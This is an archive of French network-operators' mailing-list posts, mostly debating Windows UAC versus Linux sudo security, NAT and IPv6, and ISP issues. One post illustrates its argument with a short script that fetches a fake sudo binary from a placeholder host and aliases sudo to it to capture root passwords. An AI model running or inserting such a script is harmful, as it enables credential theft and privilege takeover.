Re: [FRnOG] Re: [TECH] Detecter DDos outils et null-router sur quagga

2012-09-06 Par sujet e-t172

On 09/06/2012 03:06 PM, Frederic Dhieux wrote:

Oui, iptables s'écroule quand on commence à mettre beaucoup de règles à
la suite, je dirais que si c'est vraiment la misère il faut rapidement
envisager de cibler des subnets stratégiques plutôt que des IP dans le
cas d'une attaque par de nombreuses IP douteuses (genre d'Asie vers un
site francophone par exemple)


On 09/06/2012 03:11 PM, Alain Thivillon wrote:

On 09/06/2012 02:43 PM, Stephane Bortzmeyer wrote:

Test à faire : mesurer à partir de combien d'adresses filtrés ça
devient insupportable.


Sur d'autres systèmes (pf) on peut charger des tables qui sont hashées.


Vous avez essayé ipset ? En particulier avec la méthode hash. Ça a l'air 
de faire exactement ce que vous voulez.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82


---
Liste de diffusion du FRnOG
http://www.frnog.org/


Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks

2012-03-21 Par sujet e-t172

On 2012-03-21 01:30, Jérôme Benoit wrote:

On Tue, 20 Mar 2012 23:47:49 +0100
e-t172e-t...@akegroup.org  wrote:

On 2012-03-20 20:25, Jérôme Benoit wrote:

C'est sur, c'est pas la faute de l'OS qui ne sépare pas les
privilèges,


Depuis Windows Vista, si. Tout utilisateur (même admin) est par
défaut sur une session à droits restreints et doit explicitement
autoriser une application à s'élever pour toucher au système. Et
c'est conçu de telle sorte que même les vieilles applis fonctionnent
avec des droits restreints, grâce à une astucieuse redirection
automatique des appels système.

http://en.wikipedia.org/wiki/User_Account_Control


Cette bonne blague :)
Et tu oses appeler çà de la séparation de privilèges ?

man 7 capabilities sous Linux par exemple mais des mécanismes
similaires existent sous tous les *nix des années avant 2008, l'année
ou MS a tout juste commencé à comprendre les idées sous-jacentes du
principe (mais pas entièrement vu le résultat :))


http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx

http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx

Ça existe depuis XP, sorti en 2001.


qui ne randomize pas la pile d'allocation mémoire


Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows


Ahahahahah, même OS X l'implémente mieux depuis la 10.7, je te donne 10
min pour trouver un bout de code en C qui listent les zones qui ne le
sont pas et elles sont tellement nombreuses :)


Il faut spécifier que le code est compatible ASLR à la compilation pour 
que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… 
« développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on 
randomise leurs espaces d'adressage.



qui ne fourni
pas de base une seule politique de type MAC


Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control


Tu cherches à te ridiculiser en public ?
1) c'est pas actif à la livraison dans trop de OEM


Va falloir citer des sources, parce que pour l'instant, un Vista/7 qui 
n'a pas la notion d'intégrité, j'en ai encore jamais vu. Et quand bien 
même ce serait vrai, c'est la faute à l'OEM, pas l'OS.



2) c'est l'application qui choisit et de ne pas le faire dans 98% des
cas (hénaurme)


Encore une fois, si une application tierce choisit d'être une passoire, 
c'est son problème. Microsoft privilégie parfois la compatibilité avec 
les anciennes applications à la sécurité quand ils sont forcés de 
choisir. Après c'est clair que permettre aux gens de travailler c'est 
vraiment pas important (sarcasm inside).


Ceci dit, les applications présentant une surface d'attaque importante 
telles que les navigateurs utilisent souvent ces fonctionnalités.



j'ose à peine parler pas
de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour
être fait sans énorme hack)


Google Chrome met chaque thread correspondant à un onglet dans une
sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack »
pour le faire. Il faut aussi signaler le mode protégé des threads
d'IE qui s'en rapproche pas mal.


Un rapide sous d’œil à

http://src.chromium.org/viewvc/chrome/trunk/src/sandbox/src/

me fait très largement dire le contraire :)


Hum, oui. Au temps pour moi, j'avais pas pris le temps de vérifier. Il 
est clair que réimplémenter tous les appels système n'est exactement la 
solution la plus simple qui soit.



Tu confonds deux choses qui n'ont aucun rapport :

- La conception d'un système d'exploitation avec des mécanismes de
   sécurité qui tiennent la route;
- L'intégration d'un tel système qui oublient juste
   d'implémenter lesdits mécanismes.


Je suis conscient de cette distinction. Je dénonce justement le fait que 
la distribution Linux la plus grand public (Ubuntu), malgré le fait 
qu'elle soit basée sur un OS offrant des principes de sécurité solides, 
envoie tout ça par la fenêtre dès lors qu'elle permet l'utilisation de 
su/sudo.



Les corrections sont simples
pour corriger des choix d'intégration.


Tu peux expliquer ces corrections ? Plus précisément, si tu peux me 
fournir un équivalent d'UAC sous Linux qui ne soit pas une passoire, je 
suis tout ouïe. Et à ergonomie équivalente, hein, sinon c'est trop 
facile (UAC c'est juste cliquer sur un bouton pour autoriser l'élévation).



Windows est dans le cas ou çà a été oublié à la conception et le
cheminement inverse pour palier les errances en sécurité à la
conception est juste largement plus complexe et ... en cours de
cheminement ...  (pour rester poli) depuis 4 ans sans apporter pour
le moment des réponses concrètes et efficientes (une parti du pb
étant d'avoir mal habitué des palanqués de programmeurs a des APIs
qui n’intègre aucunes notions de sécurité).


C'est pas faux, mais tu ne peux pas nier le fait que depuis quelques 
années Microsoft met les bouchées doubles pour tenter de rattraper son 
retard.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82


---
Liste de diffusion du

Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks

2012-03-21 Par sujet e-t172

On 2012-03-21 11:56, Radu-Adrian Feurdean wrote:

On Tue, 20 Mar 2012 23:47:49 +0100, e-t172e-t...@akegroup.org  said:


http://en.wikipedia.org/wiki/User_Account_Control


On parle bien des fonctionalites qu'il faut imerativement deactiver si
on veut pouvoir garder un systeme utilisable. C'est bien ca ?


Cette remarque s'applique à Vista, ils ont corrigé le problème dans 
Windows 7.



Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95%
de parts de marché sur le bureau, la situation serait exactement la


Les bases etant tres differentes, je ne suis pas du tout convaincu. Deja
en windoze-land il y a quoi, 4-5 versions dans la nature (XP/32,
Vista/32, Vista/64 , 7/32, 7/64) ? En *nix-land, il y en a nettement
plus que ca.


J'aurais plutôt tendance à dire que dans une telle situation les masses 
se concentreraient sur une ou deux distributions (genre Ubuntu), mais on 
spécule là.



même. En fait, ce serait même pire : par rapport à UAC, la solution
typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire.


? Tu peux expliquer ? Moi je retien juste que Vista+UAC etait
totalement inutilisable. 7+UAC ca reste presque potable, mais les choses
embetantes ne sont pas totalement disparues.


Pour un utilisateur lambda type Madame Michu (j'ai ma mère en tête), le 
prompt UAC doit apparaître genre une fois par mois, par exemple quand un 
logiciel a décidé qu'il était temps de se mettre à jour. Dès qu'on sort 
du cercle des informaticiens, il devient franchement rare de devoir 
élever une application pour effectuer une tâche.


D'ailleurs ça rend le système assez efficace, car vu la rareté de la 
demande, ma mère est bien consciente qu'il faut réfléchir un minimum 
avant d'accepter. Elle m'a même appelé une fois parce qu'elle avait un 
doute.



Au moins, Microsoft essaie de mettre le maximum de bâtons dans
les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par


Il y a M$FT, et il y a les autres editeurs, qui eux n'ont pas l'air
d'voir tout compris. Adobe au pif.
En effet, wondows souffre d'un historique de plusieurs dizaines d'annees
de mentalite zero securite.


C'est pas faux, mais comme je l'ai dit, c'est une mentalité qui est en 
train de changer à grande vitesse.



contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte
(typiquement, un shell) qui est totalement sous le contrôle de
l'utilisateur à droits restreints, ce qui en fait un dispositif de
sécurité à peu près équivalent à un cadenas en mousse.


Learn *nix ! De preference plus que w/ps/ls/vmstat.


J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc 
à développer, si possible en arrêtant de me prendre pour un con.


Je précise que je suis ni pro-Linux ni pro-Windows. Par contre j'ai 
tendance à préférer Windows sur un poste de travail et Linux sur un 
serveur (mais pas pour des questions de sécurité, enfin, pas uniquement).


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82


---
Liste de diffusion du FRnOG
http://www.frnog.org/


Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks

2012-03-21 Par sujet e-t172

On 2012-03-21 15:59, Radu-Adrian Feurdean wrote:

J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc
à développer, si possible en arrêtant de me prendre pour un con.


Les setuid ne s'executent pas exactement dans le contexte de
l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis
par l'utilisateur, mais ce n'est surtout pas le n'importe quoi dont tu
parles.


Je connais parfaitement le principe du setuid et je sais que su/sudo 
s'exécute en tant que root pour élever l'utilisateur, mais ce n'est pas 
ça dont je parle. Le problème dont je parle c'est que toute 
l'utilisation de su/sudo s'effectue dans un contexte (contexte au sens 
général, pas seulement utilisateur) dont la sécurité est exactement 
égale à zéro.


Je vais détailler en prenant comme exemple sudo (mais le principe est 
exactement le même avec su). Je pars du principe que sudo demande un mot 
de passe pour effectuer l'élévation, vu que si sudo ne demande aucun mot 
de passe alors c'est gagné avant même d'avoir commencé (j'exécute sudo 
et hop je me retrouve root).


Le cœur du problème est que sudo, dans le cas d'une utilisation typique, 
est exécuté dans le contexte d'un shell, qui lui même se trouve dans le 
contexte d'un terminal graphique, qui lui-même se trouve dans le 
contexte d'un serveur X. Tout ça représente une surface d'attaque grande 
comme un terrain de foot et qui ne présente aucune difficulté à 
exploiter. Tu vois où je veux en venir ? Considère par exemple ce script :


  wget http://malware.example.com/fakesudo -O ~/.foo
  chmod +x ~/.foo
  cat  ~/.bashrc EOF
  alias sudo=~/.foo
  EOF

Tu remarqueras que toutes ces commandes n'ont pas besoin de privilèges 
particuliers pour fonctionner. fakesudo est un binaire malicieux conçu 
pour se faire passer pour sudo en exécutant le sudo original mais en 
interceptant stdin/stdout/pty (vois ça comme une attaque MITM mais avec 
des pipes).


Tu vois où je veux en venir ? À partir du moment où un attaquant à 
réussi à obtenir un accès shell utilisateur à ta machine, il exécute le 
script de 5 lignes ci-dessus et dès que tu utilises su/sudo c'est game 
over, il a le root et en cadeau bonus le mot de passe en clair de ton 
compte.


Il y a des tas de variantes possibles, tant dans l'exploitation (par 
exemple au lieu d'intercepter le mot de passe on remplace la commande à 
exécuter, ça a le mérite de fonctionner avec tout token 
d'authentification) que dans l'approche de l'attaque (on peut par 
exemple utiliser le terminal au lieu du shell, ou jouer avec le 
protocole X). Il est aussi possible de mener ce genre d'attaque sur les 
« sudo graphiques » (par exemple en imitant la fenêtre, ou en jouant 
avec le PATH, ou en trifouillant la configuration de l'environnement de 
bureau, ou…).


Si quelqu'un a une solution fiable pour ce problème, je suis tout ouïe. 
Pour l'instant la seule solution que je vois c'est de basculer sur une 
console tty en mode texte pour se logger en root, mais ça casse un peu 
tout le principe de la chose.


De ce point de vue UAC est infiniment supérieur. Lorsqu'une application 
demande l'élévation ce n'est pas une fenêtre de prompt classique qui 
s'affiche. À la place, le kernel (ou du moins un composant système) 
prend entièrement le contrôle de l'affichage, le grise et affiche la 
fenêtre de prompt UAC. Cette fenêtre fonctionne à un niveau d'intégrité 
supérieur, ce qui empêche les autres applications d'interagir avec pour 
éviter par exemple de simuler le clic sur le bouton de validation (ce 
principe vaut également pour l'ensemble de l'application une fois 
qu'elle est élevée). Un keylogger ne fonctionnera pas non plus pendant 
le temps où ladite fenêtre est affichée, et même s'il fonctionnait, il 
ne servirait à rien puisque dans la configuration par défaut, le prompt 
UAC ne demande pas de mot de passe (ce qui est ici une bonne chose !). 
C'est d'ailleurs pour la même raison qu'afficher un faux prompt UAC ne 
servirait à rien non plus. Il est également impossible d'altérer le 
programme qui se fait élever car, sauf grosse bourde dans la 
configuration, ce dernier n'est pas modifiable par un utilisateur non élevé.


Au final, il est très difficile pour un programme de s'élever sans que 
l'utilisateur humain valide lui-même de sa propre main le prompt UAC. Je 
dis « très difficile » pas « impossible » car, comme tout logiciel, il 
existe probablement des failles de sécurité, mais ici, ce sont des 
simples failles dans l'implémentation, pas un problème fondamental comme 
c'est le cas pour su/sudo.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82


---
Liste de diffusion du FRnOG
http://www.frnog.org/


Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks

2012-03-21 Par sujet e-t172

On 2012-03-22 00:06, Jérôme Benoit wrote:

On Wed, 21 Mar 2012 09:45:33 +0100
e-t172e-t...@akegroup.org  wrote:




http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx

http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx

Ça existe depuis XP, sorti en 2001.


Personne ne les utilise puisque c'est pas obligatoire. Le principe
étant que si il n'a pas d'impératif fonctionnel sécuritaire lors de la
concrétisation d'un soft, le programmeur s'en tamponne le coquillard :)


C'est donc au client de se retourner contre le fournisseur du logiciel 
vérolé. Je ne vois pas le rapport avec l'OS. (oui je sais, bisounours, 
toussa, m'enfin si plus de monde le faisait et tenait les développeurs 
pour responsables, on se retrouverait peut-être pas dans ce genre de 
situation)



Il faut spécifier que le code est compatible ASLR à la compilation
pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS
si des… « développeurs » tiers pondent du code qui ne fonctionne pas
lorsqu'on randomise leurs espaces d'adressage.


C'est la faute à l'OS dans le sens où l'utilisation d'ASLR est rendu
optionnel. Ça ferait sans doute chier un paquet d'éditeur mais sans
l'obligation, c'est juste faire du marketing sécuritaire de ASLR.


Faut vérifier mais je pense que l'ASLR est activé par défaut lors de la 
création de nouveau code, le fait qu'il ne soit pas activé pour de 
l'ancien code est pour des questions de rétrocompatibilité.



LSM est ton ami lors de la phase d'intégration, c'est là que tu définis
quel paquet à le droit de faire quoi en fonction de critère très fin
en fonction du modèle choisi (TE, RSBAC, MLS).

C'est long ?
Vi, très long et fastidieux mais quand tu as fini le boulot, je met au
défi un cracker de passer outre.
C'est user-frienly ?
Vi, si ta politique est bien conçue. Même pas un prompt pour
l'élévation de privilège, pas besoin (ce qui entre parenthèse est une
hérésie, on ne demande pas à l'utilisateur de faire une
élévation ...).

Dans un autre mail tu cites un exemple de changement d'un alias pour
pointer vers du code malicieux. C'est inexploitable avec LSM, le code
n'aura pas les droits (pour faire court, c'est dans les extend
attributes d'un fichier qui ne sont pas modifiables, ni par root, ni par
l'utilisateur, seul dieu et le responsable le peut :))


Ton raisonnement s'applique à un gros parc d'entreprise avec des gens 
payés à plein temps pour bosser sur ce genre de trucs (ce qui est déjà 
pas gagné) et configurer au micropoil les politiques de sécurité. Je te 
parle de la machine chez Madame Michu. Peux-tu me citer une distribution 
user-friendly type Ubuntu qui implémente « hors de la boîte » ce genre 
de mesures de sécurité ? (c'est une vraie question)



Plus sérieusement, MS doit passer maintenant à la phase : tu veux
tourner sur Windows 8 ? Tu le fais en suivant mes règles de sécurité
qui ne sont pas là pour te faire chier ou pour empêcher les gens de
travailler, elles sont là pour blah blah


J'ai l'impression que c'est ce qu'ils ont l'intention de faire pour 
Windows 8 ARM, où ils n'ont pas à ce soucier de la compatibilité puisque 
c'est une nouvelle plate-forme. Mais il est vrai que sur certains points 
la philosophie de Windows 8 ARM ressemble tellement à celle d'Android ou 
iOS que je me demande si on parle encore d'OS pour PC à ce stade…



MS est suffisamment gros pour le faire dans le monde de
l'informatique propriétaire, on se demande pourquoi çà a pris autant
de temps et autant de dommage collatéraux (enfin, j'ai une idée du
pourquoi du comment, mais çà fera l'objet d'un autre troll :))


Ce qui les ralentit c'est surtout leur philosophie de la 
rétrocompatibilité à tout prix. Suffit de lire The Old New Thing pour se 
rendre compte que c'est une idée fixe là-bas.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82


---
Liste de diffusion du FRnOG
http://www.frnog.org/


Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks

2012-03-20 Par sujet e-t172

Désolé, on est pas vendredi, mais je vais quand même marcher dedans.

On 2012-03-20 20:25, Jérôme Benoit wrote:

C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges,


Depuis Windows Vista, si. Tout utilisateur (même admin) est par défaut 
sur une session à droits restreints et doit explicitement autoriser une 
application à s'élever pour toucher au système. Et c'est conçu de telle 
sorte que même les vieilles applis fonctionnent avec des droits 
restreints, grâce à une astucieuse redirection automatique des appels 
système.


http://en.wikipedia.org/wiki/User_Account_Control


qui ne randomize pas la pile d'allocation mémoire


Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows


qui ne fourni
pas de base une seule politique de type MAC


Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control


j'ose à peine parler pas
de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour
être fait sans énorme hack)


Google Chrome met chaque thread correspondant à un onglet dans une 
sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour 
le faire. Il faut aussi signaler le mode protégé des threads d'IE qui 
s'en rapproche pas mal.


Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% 
de parts de marché sur le bureau, la situation serait exactement la 
même. En fait, ce serait même pire : par rapport à UAC, la solution 
typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable 
passoire. Au moins, Microsoft essaie de mettre le maximum de bâtons dans 
les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par 
contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte 
(typiquement, un shell) qui est totalement sous le contrôle de 
l'utilisateur à droits restreints, ce qui en fait un dispositif de 
sécurité à peu près équivalent à un cadenas en mousse.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82


---
Liste de diffusion du FRnOG
http://www.frnog.org/


Re: [FRnOG] Re: Y a du débit chez FREE ?

2011-11-27 Par sujet e-t172

On 2011-11-27 14:51, Frédéric Dhieux wrote:

C'est pas visible à court terme directement, mais mine de rien je
commence à voir un bon nombre de personnes autour de moi qui
réfléchissent ou décident de changer de FAI parce que les sites qu'ils
visitent habituellement sont lents voire péniblement accessibles le soir
et que ça les saoule de plus en plus. C'est pas forcément des gens du
métiers, de simples internautes qui n'arrivent pas à naviguer librement
sur leurs sites préférés ou a jouer sur leur serveur sans loss et avec
une latence correcte contrairement au voisin chez un autre FAI.


Oui, mais partir où ? D'après les retours que j'ai, Free/SFR/Orange ont 
tous des liens plus ou moins saturés avec Youtube, surtout en heure de 
pointe. L'herbe n'est pas forcément plus verte ailleurs…


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] [MISC] Le troll (FR) multi-sujet du vendredi

2011-11-12 Par sujet e-t172

On 2011-11-08 04:10, Michel Py wrote:

Aujourd'hui, problème est:

1. Il y a toujours quelques logiciels (y compris celui du serveur de la liste 
du FRnOG) qui, dans certaines circonstances pas toujours totalement 
identifiées, se mélangent les pédales. J'ai constaté ça avec mes propres 
contribs: quand je quote certaines autres contribs, les deux lignes de 
signature à la fin soit disparaissent soient deviennent du chinois.

Liste de diffusion du FRnOG
http://www.frnog.org/

C'est mineur, mais on peut se demander quoi d'autre est bogué.

2. Là ou je vois le problème c'est en utilisant un MUA qui est HTML: on trouve 
des contribs avec x fontes différentes, 3 tailles différentes, etc. Question 
présentation c'est un peu COMME UN TROLL QUI ECRIT TOUT EN CAPS.

Dans les deux cas, on peut lire le texte, mais l'idée de base reste toujours d'écrire 
quelque chose qui permette au lecteur de se concentrer sur le contenu, pas sur la 
présentation. C'est du même ordre d'idée que les quotes de porc et le 
top-post, si tu as vraiment envie de lire tu peux, mais ça serait bien plus 
sympa, en plus de lire de haut en bas et de ne pas avoir un kilomètre de porc, de lire 
quelque chose dans une fonte de famille (*) et de taille homogène.


J'aimerais aussi signaler qu'utiliser HTML a de fâcheuses conséquences 
quand on commence à imbriquer les quotes.


En texte clair tous les MUA s'y retrouvent car l'usage veut qu'une 
citation commence par «  », une citation imbriquée par «  », etc. 
Avec ça, mon Thunderbird me fait des jolies barres colorées, et même une 
couleur différente en fonction de la profondeur. Difficile de faire plus 
propre et clair.


En revanche, dès que quelqu'un poste en HTML, alors les MUA ne 
reconnaissent généralement plus la citation (souvent la « barre » se 
retrouve en dur dans le HTML), du coup ça part en couille sévère et le 
résultat visuel devient absolument horrible. Bien évidemment ça empire à 
chaque réponse, ce qui résulte en d'importants saignements oculaires sur 
les gros threads.


D'ailleurs, j'aimerais signaler à Sam Preston (qui rédige bien en texte 
brut, merci à lui) qu'il serait probablement mieux qu'il arrête 
d'indenter les citations (si c'est possible) car mon Thunderbird ne les 
détecte pas comme telles et j'imagine que ce n'est pas le seul MUA à 
trébucher dessus.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] [MISC] Le troll (FR) multi-sujet du vendredi

2011-11-12 Par sujet e-t172

On 2011-11-12 22:23, Michel Py wrote:

Par curiosité, pourrais-tu poster un lien vers une photo d'écran de Thunderbird 
affichant le texte ci-dessous?


Toto a écrit:
I bless the rains down in Africa.



Tata a écrit:
I sell IP transit.



Titi a écrit
Au secours grosminet essaie de me manger.


http://uppix.net/d/7/2/376945157058691ee614a7c19daf7.html


.+-yם���*'v�Q�ᡶ��0~�肊�/===


Ça s'arrange pas tes problèmes de signature…

--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



[FRnOG] Re: [FRnOG] Re: RespectMyNet : Une plate-forme citoyenne recense les restrictions d'accès au Net

2011-09-26 Par sujet e-t172

On 2011-09-26 10:09, Stephane Bortzmeyer wrote:

Pour remonter ma confiance dans la nature humaine, je veux bien des
listes de FAI qui s'engagent à ne *jamais* faire cela (oui, je sais,
c'est incroyable, désormais c'est aux non-menteurs de promettre qu'ils
ne mentiront pas).


http://www.ovh.fr/vdsl/

Ça y est un peu partout sur le site sous la mention « neutralité du Net ».

--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] Re: RFC 6296: IPv6-to-IPv6 Network Prefix Translation

2011-07-04 Par sujet e-t172

On 07/04/2011 08:45 AM, Benoit Garcia wrote:

Personnellement, je suis un fervent partisan du End-to-End Principle, et par 
conséquent, je milite pour que ce genre de filtrage de connexions se fasse sur 
la machine finale, pas sur un nœud du réseau, parce que ça permet d'utiliser un 
pare-feu applicatif qui est bien mieux placé pour prendre ces décisions qu'une 
boite noire branchée sur un câble. Et qu'on ne vienne pas me dire que c'est pas 
Michu-compliant : la configuration par défaut du pare-feu de Windows depuis XP 
SP2 offre une sécurité au moins équivalente à un NAT. Mais j'imagine que c'est 
là encore une idée à ranger dans le monde des bisounours.


Comment peut-on être partisan du End-to-End Principle *et* du NAT?
Est-ce que ce n'est pas antinomique?


C'est surtout que tu as lu totalement de travers mon message. Où est-ce 
que tu as lu que je suis partisan du NAT ? C'est exactement le contraire !


Je suis tout à fait opposé à toute forme de NAT, ça ne m'empêche pas de 
critiquer les arguments (comme celui de Stéphane) que je trouve 
invalides, même si ils vont dans mon sens. On ne peut pas avoir une 
discussion ici sans devoir choisir son camp ?



Il est un peu facile cet argument. Si les attaques ne se font pas par connexion 
IP directe c'est justement parce que le pékin moyen (ou plutôt devrais-je dire 
« victime moyenne ») a une box de FAI qui, justement, fait du NAT et ne laisse 
donc pas passer par défaut les connexions entrantes.


Il est possible de bloquer les connexions entrantes sans faire du NAT.
Ca s'appelle du filtrage.


Oui, c'est ce que j'ai dit deux paragraphes plus bas dans mon message.


À l'époque ou la plupart des gens avaient une adresse publique sur leur PC, les 
attaques se faisaient bien par connexion directe (exemple : Blaster). Si, avec 
IPv6, tout le monde récupère à nouveau des adresses publiques non protégées, je 
te parie ma chemise que la vermine va de nouveau exploiter ce vecteur de 
transmission.


La plupart des systèmes modernes (supportant IPv6) utilisés par des
particuliers fournissent en standard un pare-feu qui bloque par défaut
les connexions entrantes.


C'est pour ça que j'ai précisé non protégées.


Le principal problème est que, apparemment, il subsiste des gens qui ne 
comprennent pas qu'un simple pare-feu qui filtre les connexions entrantes offre 
une sécurité exactement identique à un NAT IPv4 typique, mais avec des 
inconvénients en moins.


Parce que même si le NAT permet de filtrer les connexions entrantes,
le pare-feu offre des avantages en plus?


Le NAT a pour inconvénient principal de modifier les adresses source et 
destination des paquets qui passent par lui. Le pare-feu n'a pas cet 
inconvénient, tout en gardant la possibilité de filtrer les connexions 
entrantes. D'où pare-feu  NAT.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] Re: RFC 6296: IPv6-to-IPv6 Network Prefix Translation

2011-07-03 Par sujet e-t172

On 2011-07-03 22:54, Stephane Bortzmeyer wrote:

On Fri, Jul 01, 2011 at 02:07:49PM +0200,
  Alain Richardalain.rich...@equation.fr  wrote
  a message of 226 lines which said:


f - La plupart des petits utilisateurs s'appuient sur le NAT44 pour sécuriser 
leur accès


C'est un fait, mais cela n'empêche pas qu'ils ont tort et sérieusement
tort. Je rappelle que Stuxnet n'a même pas eu besoin d'une connexion
Internet pour infecter le site visé, alors croire qu'on est protégé
par NAT44, alors que la plupart des attaques se font par charge utile
et pas par connexion IP de l'extérieur, c'est de l'acte de foi, pas de
la science.


Il est un peu facile cet argument. Si les attaques ne se font pas par 
connexion IP directe c'est justement parce que le pékin moyen (ou plutôt 
devrais-je dire « victime moyenne ») a une box de FAI qui, justement, 
fait du NAT et ne laisse donc pas passer par défaut les connexions 
entrantes.


À l'époque ou la plupart des gens avaient une adresse publique sur leur 
PC, les attaques se faisaient bien par connexion directe (exemple : 
Blaster). Si, avec IPv6, tout le monde récupère à nouveau des adresses 
publiques non protégées, je te parie ma chemise que la vermine va de 
nouveau exploiter ce vecteur de transmission.


Le principal problème est que, apparemment, il subsiste des gens qui ne 
comprennent pas qu'un simple pare-feu qui filtre les connexions 
entrantes offre une sécurité exactement identique à un NAT IPv4 typique, 
mais avec des inconvénients en moins.


Personnellement, je suis un fervent partisan du End-to-End Principle, et 
par conséquent, je milite pour que ce genre de filtrage de connexions se 
fasse sur la machine finale, pas sur un nœud du réseau, parce que ça 
permet d'utiliser un pare-feu applicatif qui est bien mieux placé pour 
prendre ces décisions qu'une boite noire branchée sur un câble. Et qu'on 
ne vienne pas me dire que c'est pas Michu-compliant : la configuration 
par défaut du pare-feu de Windows depuis XP SP2 offre une sécurité au 
moins équivalente à un NAT. Mais j'imagine que c'est là encore une idée 
à ranger dans le monde des bisounours.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] Re: [FRnOG] Caractères autorisés dans la clé md5 ospf

2011-06-07 Par sujet e-t172

On 06/07/2011 04:17 PM, Gael Martinez wrote:

Si je comprends bien la question, md5 est un resultat hexadecimal. Les
caracteres supportes seraient donc 0123456789ABCDEF


Les points de suspension induisent en erreur. Si c'est en héxadécimal 
les caractères supportés sont 0123456789ABCDEF, point. Et/ou 
0123456789abcdef en fonction de la casse et de la tolérance du truc.


--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] Le troll du vendredi par Michel

2011-05-30 Par sujet e-t172

On 2011-05-30 17:46, Michel Py wrote:

Laurent GUERBY a écrit:
Si quelqu'un sait comment le prestataire wifi de MacDo fait
pour s'exonerer des lois gauloises sur l'identification des
connectés (vu qu'ils doivent avoir que la MAC wifi) ça doit
interesser pas mal de monde :).



Xavier Beaudouin a écrit:
Je pense sérieux que le presta s'en bat... les.. :p


Ah oui et ce n'est pas le seul; personne ne m'a jamais demandé mon identité en 
France (en Italie ils le font pour le principe).

J'ai vu plusieurs WiFi d'hôtel complètement ouverts, et plusieurs autres ou le code 
top-secret est écrit sur un panneau à la réception, ou scotché sur la plaque de la clé, 
ou haute sécurité comme 00 que tous tes voisins connaissent, ou écrit 
sur la première page du guide trouvé dans la chambre, etc. Même quand c'est chiffré ce 
n'est jamais mieux que WAP 56 bit.

Las ou je suis en ce moment, ils essaient d'être en règle: le WiFi est ouvert 
et il y a une page redirigée pour se connecter. L'utilisateur/mot de passe est 
unique par chambre (donc individualisé par rapport à WAP), mais ne change 
jamais et en plus la page de login est en http (pas en https) donc même si on 
ne demande pas le code, il suffit de sniffer WiFi pour avoir un mot de passe vu 
que c'est tout en clair.


Personnellement, j'ai été impressionné par le WiFi public de l'Aéroport 
de Pau : y'a un portail captif sur lequel il te demande ton nom, ton 
prénom et ton numéro de téléphone portable. Lorsque tu valides le 
formulaire ils t'envoient un SMS avec un code que tu dois rentrer sur le 
portail captif pour pouvoir accéder à Internet. Du coup, en cas de 
problème, il peuvent remonter jusqu'à toi avec ton numéro de téléphone.


Le système a été fait par Héliantis, apparemment.

--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82
---
Liste de diffusion du FRnOG
http://www.frnog.org/



Re: [FRnOG] SORBS, blacklisting

2011-05-20 Par sujet e-t172

On 2011-05-20 19:06, Yves Dubromelle wrote:

Mais comment est-ce possible que quasiment tous les clients des gros
FAIs soient blacklistés depuis des années (2005 pour ma plage
82.239.141.0/24) ? Est-ce que ce sont les FAIs qui  ne demandent pas le
delisting, ou est-ce qu'ils le demandent mais sont re-listés rapidement
à cause du volume de spam ?


Pour certaines blacklists, rien que le fait d'être un particulier sur 
